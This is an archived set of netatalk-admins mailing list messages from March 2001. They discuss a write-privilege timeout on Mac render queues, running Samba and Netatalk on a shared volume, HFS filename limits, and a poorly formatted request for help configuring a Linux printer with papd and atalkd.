Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 11:10:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25285
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 11:10:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25239
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 11:10:06 -0500 (EST)
Received: from sdt-ntas.nfb.ca (SDT-NTAS.NFB.CA [199.84.162.26])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25203
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 11:10:05 -0500 (EST)
Received: by SDT-NTAS.NFB.CA with Internet Mail Service (5.5.2653.19)
	id <GNA8NVYJ>; Wed, 7 Mar 2001 11:10:01 -0500
Message-ID: <16A5AD2F8968D311B7C400508B136F31024D7248@SDT-NTAS.NFB.CA>
From: St-Pierre Marc <m.st-pierre@onf.ca>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: write-right timeout
Date: Wed, 7 Mar 2001 11:09:59 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain

Hi,
I'm using netatalk 1.4b2+asun2.1.4 on Solaris 7 for almost a year now
without any but one small problem:

On diverse macs launching Adobe After-effects render queues, we get warning
messages after exactly 10 minutes saying something close to "you don't have
enough priviledges to write to (path)". And it is not a connection timeout,
because the application goes on to the next job in the queue and works again
for another ten minutes... So it's some strange timeout.  As for the macs
themselves, this is happening on G3s running OS9, on 9600s running 8.6, it
doesn't seem to matter.

Has anybody experienced something similar and hopefully found a fix?

Thanks!

From netatalk.administrators-errors@umich.edu  Wed Mar  7 11:47:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21680
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 11:47:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24922
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 11:47:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24878
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 11:47:12 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA24759
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 11:47:10 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-4-1.ucdavis.edu [169.237.17.129])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f27Gkuh09435;
	Wed, 7 Mar 2001 08:46:56 -0800 (PST)
Message-Id: <5.0.2.1.0.20010307084318.00a7a5a0@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 07 Mar 2001 08:46:50 -0800
To: Tihen <tihen.william@mail.tasis.ch>,
        "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: Samba and Netatalk
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
In-Reply-To: <Pine.LNX.4.10.10103071452270.18451-100000@mail.tasis.ch>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

There is some sort of enable-netatalk-compatibility (or something similar 
to that) option in Samba which is supposed to, I repeat *supposed to* make 
it easier for netatalk to understand the file types.  But I've never tried 
it and I've heard some say that it doesn't work and they can't figure out 
what that feature is supposed to be for.  Might be worth investigating, though.

At 02:54 PM 3/7/01 +0100, Tihen wrote:
>I have had only minor problems -- if someone uses both sometimes the Mac
>has a hard time reconizing what the files are.  But I think the solution
>is to update the AppleVolumes (or something like that).
>
>I recommend -- "Go ahead [make my day]."
>
>Bill
>
>On Tue, 6 Mar 2001, Daniel E. Lautenschleger wrote:
>
> > Would anyone care to comment on experiences they've had sharing data out
> > on a volume that was accessed by Netatalk and Samba? Any glitches? No
> > problem, go ahead and do it, your nuts, dude..., etc...
> >
> > Thanks. I have a dream that I can take one of our NT file servers and
> > replace it with a Linux/Samba/Netatalk box. What a fine realization that
> > would be...
> >
> > Thanks.
> > -Dan
> >


From netatalk.administrators-errors@umich.edu  Wed Mar  7 12:11:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA22377
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 12:11:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06393
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 12:11:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06361
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 12:11:04 -0500 (EST)
Received: from sdt-ntas.nfb.ca (SDT-NTAS.NFB.CA [199.84.162.26])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA06293
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 12:11:03 -0500 (EST)
Received: by SDT-NTAS.NFB.CA with Internet Mail Service (5.5.2653.19)
	id <GNA8NV98>; Wed, 7 Mar 2001 12:11:09 -0500
Message-ID: <16A5AD2F8968D311B7C400508B136F31024D7249@SDT-NTAS.NFB.CA>
From: St-Pierre Marc <m.st-pierre@onf.ca>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: RE: Samba and Netatalk
Date: Wed, 7 Mar 2001 12:11:07 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain

We have such a Mac-Samba mix here and the coexistence works nicely. 

On the other hand I had the oportunity to look pretty deep into samba's
mechanisms and I never heard or read about any  "netatalk compatibility"
option though. So personnaly I would say go for it, but make sure of two
things to avoid mac users coming at you complaining about generic icons and
apps not launching:

- first have your .AppleVolumes.system up to date so files coming from a PC
(and without resources fork) are seen properly on macs. The
.AppleVolume.system does that by "telling" files to assume such or such
mac-identity according to their file extension.

-second, you will have to somehow get the mac users into the habit of naming
their files with an extension, so that they are seen properly on windows
stations. And this is not easy, let me tell you that!
> ----------
> From: 	Marc J. Miller
> Sent: 	Wednesday, March 7, 2001 11:46 AM
> To: 	Tihen; Daniel E. Lautenschleger
> Cc: 	Netatalk Mailing List
> Subject: 	Re: Samba and Netatalk
> 
> There is some sort of enable-netatalk-compatibility (or something similar 
> to that) option in Samba which is supposed to, I repeat *supposed to* make
> 
> it easier for netatalk to understand the file types.  But I've never tried
> 
> it and I've heard some say that it doesn't work and they can't figure out 
> what that feature is supposed to be for.  Might be worth investigating,
> though.
> 
> At 02:54 PM 3/7/01 +0100, Tihen wrote:
> >I have had only minor problems -- if someone uses both sometimes the Mac
> >has a hard time reconizing what the files are.  But I think the solution
> >is to update the AppleVolumes (or something like that).
> >
> >I recommend -- "Go ahead [make my day]."
> >
> >Bill
> >
> >On Tue, 6 Mar 2001, Daniel E. Lautenschleger wrote:
> >
> > > Would anyone care to comment on experiences they've had sharing data
> out
> > > on a volume that was accessed by Netatalk and Samba? Any glitches? No
> > > problem, go ahead and do it, your nuts, dude..., etc...
> > >
> > > Thanks. I have a dream that I can take one of our NT file servers and
> > > replace it with a Linux/Samba/Netatalk box. What a fine realization
> that
> > > would be...
> > >
> > > Thanks.
> > > -Dan
> > >
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Mar  7 13:37:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24473
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 13:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04184
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 13:36:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04151
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 13:36:39 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA04001
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 13:36:36 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 07 Mar 2001 10:38:03 -0800
Message-Id: <saa60f8b.040@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 07 Mar 2001 10:37:44 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA24473

Here's a question... is this issue resolved if using an HFS volume to do the file sharing?  As HFS doesn't allow filenames longer than 32 chars, users just plain wouldn't be able to create them in the first place, correct?  This also helps with some issues with Mac aliases getting confused, etc. AFAIK.  I know there are limitations to HFS with regards to volume and file size and how efficiently the disk is used with larger volumes, but for smaller shares this could be a solution.

Bryn

>>> Ryan McBeth <ryan@mobiusnm.com> - 3/7/01 4:09 AM >>>

	Daniel,

	The two seem to co-exist together pretty well.  Rich made a 
few valid points with .AppleDouble files.

	However, there is one thing that you may want to bring up in 
regards to Windows and Linux users.  You need to let them know that 
they can't create files greater than 32 characters or the Mac users 
won't be a able to see them.  And you will get holy hell from your 
Mac users when they call you and day "Bob said that he put the file 
on the server, but I can't see it, is the server broken?"
	So, you may need to do some social engineering with your 
Windows and Linux users to make sure that they understand the 
limitation.  They will forget about it anyway, so make sure you have 
them sign something.  :-)  Can you tell I've been an Admin for way 
too long?

	Ryan

>Would anyone care to comment on experiences they've had sharing data out
>on a volume that was accessed by Netatalk and Samba? Any glitches? No
>problem, go ahead and do it, your nuts, dude..., etc...
>
>Thanks. I have a dream that I can take one of our NT file servers and
>replace it with a Linux/Samba/Netatalk box. What a fine realization that
>would be...
>
>Thanks.
>-Dan

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds



From netatalk.administrators-errors@umich.edu  Wed Mar  7 13:37:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24498
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 13:37:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05077
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 13:37:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA05071
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 13:37:16 -0500 (EST)
Received: from web9506.mail.yahoo.com (web9506.mail.yahoo.com [216.136.129.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA05001
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 13:37:15 -0500 (EST)
Message-ID: <20010307183720.60882.qmail@web9506.mail.yahoo.com>
Received: from [148.233.229.235] by web9506.mail.yahoo.com; Wed, 07 Mar 2001 10:37:20 PST
Date: Wed, 7 Mar 2001 10:37:20 -0800 (PST)
From: Francisco "Montańez" <fmontane@yahoo.com>
Subject: i need help
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hi my name is francisco> I need install a printer in
Linux Redhat 6.2
> my machines macintosh have print > 
> I install netatalk ,but ..the server not print...> >
atalkd.conf
> I need configuration for the files > papd,conf>
netatalk.conf> > 
> and others files..for work good> > > I get a ping a
printer> 
> aecho e7p2im06:LaserWriter> 14 bytes from 
65280.124: aep_seq=0, time=0 ms> 
> but when I print > #pap -p e7p2im06:LaserWriter
/etc/hosts
> Trying 65280.124:254 ...> status: print spooler
procesing joc
> onnect to e7p2ium06:LaserWriter@*.> > and not
print....> 
> my files of configuration are:> > ***afpd.conf> #
default:
> # - -transall -uamlist>
uams_guest.so,uams_clrtxt.so,uams_dhx.so
> -nosavepassword> informa> > > **********atalkd.conf
> #	routers disagree about it's configuration of le1.>
#
> eth0 -phase 2 -net 0-65534 -addr 65280.124> > 
> *********netatalk.conf****************> Appletalk
configuration> > 
> *************papd,conf********************> >
:am=uams_clrtxt.so:> #
> #	Note also that papd.conf can list several
printers.> e7p2im06:\> :pr=lp:> > 
> > > > > > my /etc/printcap> > ### e7p2im06 #####>
e7p2im06:\> :rp=raw:\> :sh:\
> :rw:\> :sb:\> :mx#0:\>
:lf=/var/spool/lpd/e7p2im06/error:\
> :af=/var/spool/lpd/e7p2im06/acct:\>
:sd=/var/spool/lpd/e7p2im06:\
> :rm=e7p2im06.soporte.com:> > > # Change this to
increase the maximum number of
> clients that can connect:> AFPD_MAX_CLIENTS=20> 
> # Change this to set the machine's atalk name and>
zone.
> # NOTE: if you're zone has spaces in it, you're
better> off specifying
> #       it in afpd.conf> #ATALK_ZONE=@zone
> ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`> 
> # specify this if you don't want guest, clrtxt, and>
dhx
> # available options: uams_guest.so, uams_clrtxt.so,>
uams_dhx.so, 
> # 		     uams_randnum.so> #AFPD_UAMLIST="-U
uams_clrtxt.so,uams_randnum.so"> 
> # Change this to set the id of the guest user>
AFPD_GUEST=nobody> 
> # Set which daemons to run (papd is dependent upon>
atalkd):> ATALKD_RUN=yes
> PAPD_RUN=yes> AFPD_RUN=yes> > # Control whether the
daemons are started in the
> background> ATALK_BGROUND=no> > > tank...> Ineed
help You> > Francisco

__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/

From netatalk.administrators-errors@umich.edu  Wed Mar  7 13:37:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24516
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 13:37:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20757
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 13:37:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20727
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 13:37:31 -0500 (EST)
Received: from web9501.mail.yahoo.com (web9501.mail.yahoo.com [216.136.129.131])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA20715
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 13:37:30 -0500 (EST)
Message-ID: <20010307183730.49038.qmail@web9501.mail.yahoo.com>
Received: from [148.233.229.235] by web9501.mail.yahoo.com; Wed, 07 Mar 2001 10:37:30 PST
Date: Wed, 7 Mar 2001 10:37:30 -0800 (PST)
From: Francisco "Montańez" <fmontane@yahoo.com>
Subject: i need help
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hi my name is francisco> I need install a printer in
Linux Redhat 6.2
> my machines macintosh have print > 
> I install netatalk ,but ..the server not print...> >
atalkd.conf
> I need configuration for the files > papd,conf>
netatalk.conf> > 
> and others files..for work good> > > I get a ping a
printer> 
> aecho e7p2im06:LaserWriter> 14 bytes from 
65280.124: aep_seq=0, time=0 ms> 
> but when I print > #pap -p e7p2im06:LaserWriter
/etc/hosts
> Trying 65280.124:254 ...> status: print spooler
procesing joc
> onnect to e7p2ium06:LaserWriter@*.> > and not
print....> 
> my files of configuration are:> > ***afpd.conf> #
default:
> # - -transall -uamlist>
uams_guest.so,uams_clrtxt.so,uams_dhx.so
> -nosavepassword> informa> > > **********atalkd.conf
> #	routers disagree about it's configuration of le1.>
#
> eth0 -phase 2 -net 0-65534 -addr 65280.124> > 
> *********netatalk.conf****************> Appletalk
configuration> > 
> *************papd,conf********************> >
:am=uams_clrtxt.so:> #
> #	Note also that papd.conf can list several
printers.> e7p2im06:\> :pr=lp:> > 
> > > > > > my /etc/printcap> > ### e7p2im06 #####>
e7p2im06:\> :rp=raw:\> :sh:\
> :rw:\> :sb:\> :mx#0:\>
:lf=/var/spool/lpd/e7p2im06/error:\
> :af=/var/spool/lpd/e7p2im06/acct:\>
:sd=/var/spool/lpd/e7p2im06:\
> :rm=e7p2im06.soporte.com:> > > # Change this to
increase the maximum number of
> clients that can connect:> AFPD_MAX_CLIENTS=20> 
> # Change this to set the machine's atalk name and>
zone.
> # NOTE: if you're zone has spaces in it, you're
better> off specifying
> #       it in afpd.conf> #ATALK_ZONE=@zone
> ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`> 
> # specify this if you don't want guest, clrtxt, and>
dhx
> # available options: uams_guest.so, uams_clrtxt.so,>
uams_dhx.so, 
> # 		     uams_randnum.so> #AFPD_UAMLIST="-U
uams_clrtxt.so,uams_randnum.so"> 
> # Change this to set the id of the guest user>
AFPD_GUEST=nobody> 
> # Set which daemons to run (papd is dependent upon>
atalkd):> ATALKD_RUN=yes
> PAPD_RUN=yes> AFPD_RUN=yes> > # Control whether the
daemons are started in the
> background> ATALK_BGROUND=no> > > tank...> Ineed
help You> > Francisco

__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/

From netatalk.administrators-errors@umich.edu  Wed Mar  7 13:54:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 13:54:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA03337
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 13:54:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA03315
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 13:54:13 -0500 (EST)
Received: from tsmtp3.ldap.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA03201
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 13:54:10 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp3.ldap.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9UCCI05.D2T;
          Wed, 7 Mar 2001 19:50:42 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 07 Mar 2001 19:54:09 +0100
Subject: Re: i need help
From: Jason Quigley <jasonq@mac.com>
To: Monta=?ISO-8859-1?B?8Q==?=ez Francisco <fmontane@yahoo.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B6CC4260.4368%jasonq@mac.com>
In-Reply-To: <20010307183730.49038.qmail@web9501.mail.yahoo.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA25169

Please send the message again without that terrible quoting. If we can read
it, maybe we can help.


On 7/3/01 19:37, "Montańez Francisco" wrote:

> Hi my name is francisco> I need install a printer in
> Linux Redhat 6.2
>> my machines macintosh have print >
>> I install netatalk ,but ..the server not print...> >
> atalkd.conf
>> I need configuration for the files > papd,conf>
> netatalk.conf> > 
>> and others files..for work good> > > I get a ping a
> printer> 
>> aecho e7p2im06:LaserWriter> 14 bytes from
> 65280.124: aep_seq=0, time=0 ms>
>> but when I print > #pap -p e7p2im06:LaserWriter
> /etc/hosts
>> Trying 65280.124:254 ...> status: print spooler
> procesing joc
>> onnect to e7p2ium06:LaserWriter@*.> > and not
> print....> 
>> my files of configuration are:> > ***afpd.conf> #
> default:
>> # - -transall -uamlist>
> uams_guest.so,uams_clrtxt.so,uams_dhx.so
>> -nosavepassword> informa> > > **********atalkd.conf
>> #    routers disagree about it's configuration of le1.>
> #
>> eth0 -phase 2 -net 0-65534 -addr 65280.124> >
>> *********netatalk.conf****************> Appletalk
> configuration> > 
>> *************papd,conf********************> >
> :am=uams_clrtxt.so:> #
>> #    Note also that papd.conf can list several
> printers.> e7p2im06:\> :pr=lp:> >
>>>>>>> my /etc/printcap> > ### e7p2im06 #####>
> e7p2im06:\> :rp=raw:\> :sh:\
>> :rw:\> :sb:\> :mx#0:\>
> :lf=/var/spool/lpd/e7p2im06/error:\
>> :af=/var/spool/lpd/e7p2im06/acct:\>
> :sd=/var/spool/lpd/e7p2im06:\
>> :rm=e7p2im06.soporte.com:> > > # Change this to
> increase the maximum number of
>> clients that can connect:> AFPD_MAX_CLIENTS=20>
>> # Change this to set the machine's atalk name and>
> zone.
>> # NOTE: if you're zone has spaces in it, you're
> better> off specifying
>> #       it in afpd.conf> #ATALK_ZONE=@zone
>> ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`>
>> # specify this if you don't want guest, clrtxt, and>
> dhx
>> # available options: uams_guest.so, uams_clrtxt.so,>
> uams_dhx.so, 
>> #              uams_randnum.so> #AFPD_UAMLIST="-U
> uams_clrtxt.so,uams_randnum.so">
>> # Change this to set the id of the guest user>
> AFPD_GUEST=nobody>
>> # Set which daemons to run (papd is dependent upon>
> atalkd):> ATALKD_RUN=yes
>> PAPD_RUN=yes> AFPD_RUN=yes> > # Control whether the
> daemons are started in the
>> background> ATALK_BGROUND=no> > > tank...> Ineed
> help You> > Francisco
> 
> __________________________________________________
> Do You Yahoo!?
> Get email at your own domain with Yahoo! Mail.
> http://personal.mail.yahoo.com/
> 


From netatalk.administrators-errors@umich.edu  Wed Mar  7 14:07:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25420
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 14:07:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29680
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 14:07:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29644
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 14:07:09 -0500 (EST)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA29577
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 14:07:07 -0500 (EST)
Received: from unix2 (sto9013@unix2.cc.ksu.edu [129.130.12.4])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id NAA12990
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 13:07:07 -0600 (CST)
Received: from localhost by unix2 (SMI-8.6/1.34)
	id NAA03719; Wed, 7 Mar 2001 13:07:06 -0600
Date: Wed, 7 Mar 2001 13:07:06 -0600 (CST)
From: Seanano <sto9013@ksu.edu>
X-Sender: sto9013@unix2.cc.ksu.edu
To: netatalk-admins@umich.edu
Subject: Re: Samba and Netatalk
In-Reply-To: <saa60f8b.040@keam1>
Message-ID: <Pine.GSO.4.21L.0103071302050.10847-100000@unix2.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> Here's a question... is this issue resolved if using an HFS volume to
> do the file sharing?  As HFS doesn't allow filenames longer than 32
> chars, users just plain wouldn't be able to create them in the first
> place, correct?  This also helps with some issues with Mac aliases
> getting confused, etc. AFAIK.  I know there are limitations to HFS
> with regards to volume and file size and how efficiently the disk is
> used with larger volumes, but for smaller shares this could be a
> solution.

  IMHO, I would think the lack of file permissions with HFS wouldn't make
this very useful for anything other than read only (which wouldn't have
the problem anyway since nothing could be changed) or single user shares.

Sean


From netatalk.administrators-errors@umich.edu  Wed Mar  7 14:54:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA26805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 14:54:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA26518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 14:54:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA26498
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 14:53:59 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA26443
	for <netatalk-admins@umich.edu>; Wed, 7 Mar 2001 14:53:57 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 07 Mar 2001 11:55:15 -0800
Message-Id: <saa621a3.058@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 07 Mar 2001 11:55:02 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA26805

Ah, I wasn't aware of that limitation...

How does the Mac itself deal with this?  MacOS has no trouble assigning user/group/everyone permissions...

Bryn

>>> Seanano <sto9013@ksu.edu> - 3/7/01 11:07 AM >>>

> Here's a question... is this issue resolved if using an HFS volume to
> do the file sharing?  As HFS doesn't allow filenames longer than 32
> chars, users just plain wouldn't be able to create them in the first
> place, correct?  This also helps with some issues with Mac aliases
> getting confused, etc. AFAIK.  I know there are limitations to HFS
> with regards to volume and file size and how efficiently the disk is
> used with larger volumes, but for smaller shares this could be a
> solution.

  IMHO, I would think the lack of file permissions with HFS wouldn't make
this very useful for anything other than read only (which wouldn't have
the problem anyway since nothing could be changed) or single user shares.

Sean



From netatalk.administrators-errors@umich.edu  Wed Mar  7 15:09:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27291
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Mar 2001 15:09:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Mar 2001 15:08:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04743
	for netatalk.administrators-members@umich.edu; Wed, 7 Mar 2001 15:08:56 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA04659
